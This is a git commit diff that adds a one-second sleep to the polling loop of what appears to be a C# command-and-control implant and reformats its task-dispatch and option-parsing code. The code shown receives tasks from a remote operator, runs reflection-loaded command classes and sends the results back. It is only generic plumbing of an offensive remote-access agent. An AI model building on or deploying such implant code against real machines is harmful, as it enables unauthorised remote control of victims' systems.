fixed Very high power usage bug

This commit is contained in:
Gr1mmie 2022-03-24 18:21:04 -04:00
parent 7fad639418
commit 1db8e7a324
2 changed files with 14 additions and 29 deletions

View File

@ -42,25 +42,18 @@ namespace Implant
public static void HandleTask(ImplantTask task) { public static void HandleTask(ImplantTask task) {
var command = _commands.FirstOrDefault(cmd => cmd.Name.Equals(task.Command, StringComparison.InvariantCultureIgnoreCase)); var command = _commands.FirstOrDefault(cmd => cmd.Name.Equals(task.Command, StringComparison.InvariantCultureIgnoreCase));
if (command is null) { return; } if (command is null) { return; }
try
{ try {
var _out = command.Execute(task); var _out = command.Execute(task);
SendTaskOut(task, task.Id, _out); SendTaskOut(task, task.Id, _out);
} catch (Exception e) { } catch (Exception e) { SendTaskOut(task, task.Id, e.Message); }
SendTaskOut(task, task.Id, e.Message);
}
} }
public static void HandleTasks(IEnumerable<ImplantTask> tasks) { public static void HandleTasks(IEnumerable<ImplantTask> tasks) { foreach (var task in tasks) { HandleTask(task); } }
foreach (var task in tasks) { HandleTask(task); }
}
public static void ImplantCommandsInit() public static void ImplantCommandsInit() {
{ foreach (Type type in Assembly.GetExecutingAssembly().GetTypes()) {
foreach (Type type in Assembly.GetExecutingAssembly().GetTypes()) if (type.IsSubclassOf(typeof(ImplantCommands))) {
{
if (type.IsSubclassOf(typeof(ImplantCommands)))
{
ImplantCommands cmd = Activator.CreateInstance(type) as ImplantCommands; ImplantCommands cmd = Activator.CreateInstance(type) as ImplantCommands;
_commands.Add(cmd); _commands.Add(cmd);
} }
@ -83,6 +76,7 @@ namespace Implant
_cancelToken = new CancellationTokenSource(); _cancelToken = new CancellationTokenSource();
while (!_cancelToken.IsCancellationRequested) { while (!_cancelToken.IsCancellationRequested) {
Thread.Sleep(1000);
if (_comms.DataRecv(out var tasks)) { HandleTasks(tasks); } if (_comms.DataRecv(out var tasks)) { HandleTasks(tasks); }
} }
} }

View File

@ -10,23 +10,17 @@ using static Implant.Models.ImplantTaskData;
namespace Implant.Utils namespace Implant.Utils
{ {
public class ImplantOptionUtils public class ImplantOptionUtils {
{ public static void OptsInit() {
foreach (Type type in Assembly.GetExecutingAssembly().GetTypes()) {
public static void OptsInit() if (type.IsSubclassOf(typeof(ImplantOptions))) {
{
foreach (Type type in Assembly.GetExecutingAssembly().GetTypes())
{
if (type.IsSubclassOf(typeof(ImplantOptions)))
{
ImplantOptions function = Activator.CreateInstance(type) as ImplantOptions; ImplantOptions function = Activator.CreateInstance(type) as ImplantOptions;
_opts.Add(function); _opts.Add(function);
} }
} }
} }
public static List<Object> ReturnMethod(ImplantTask task) public static List<Object> ReturnMethod(ImplantTask task) {
{
if (_opts.Count == 0) { OptsInit(); } if (_opts.Count == 0) { OptsInit(); }
ImplantOptions opt = _opts.FirstOrDefault(u => u.TaskName.Equals(task.Command, StringComparison.InvariantCultureIgnoreCase)); ImplantOptions opt = _opts.FirstOrDefault(u => u.TaskName.Equals(task.Command, StringComparison.InvariantCultureIgnoreCase));
@ -34,10 +28,7 @@ namespace Implant.Utils
return opt.Data; return opt.Data;
} }
public static ArgsRecv ParseArgs(string jsonData){ public static ArgsRecv ParseArgs(string jsonData){ return JsonConvert.DeserializeObject<ArgsRecv>(jsonData); }
return JsonConvert.DeserializeObject<ArgsRecv>(jsonData);
}
} }
} }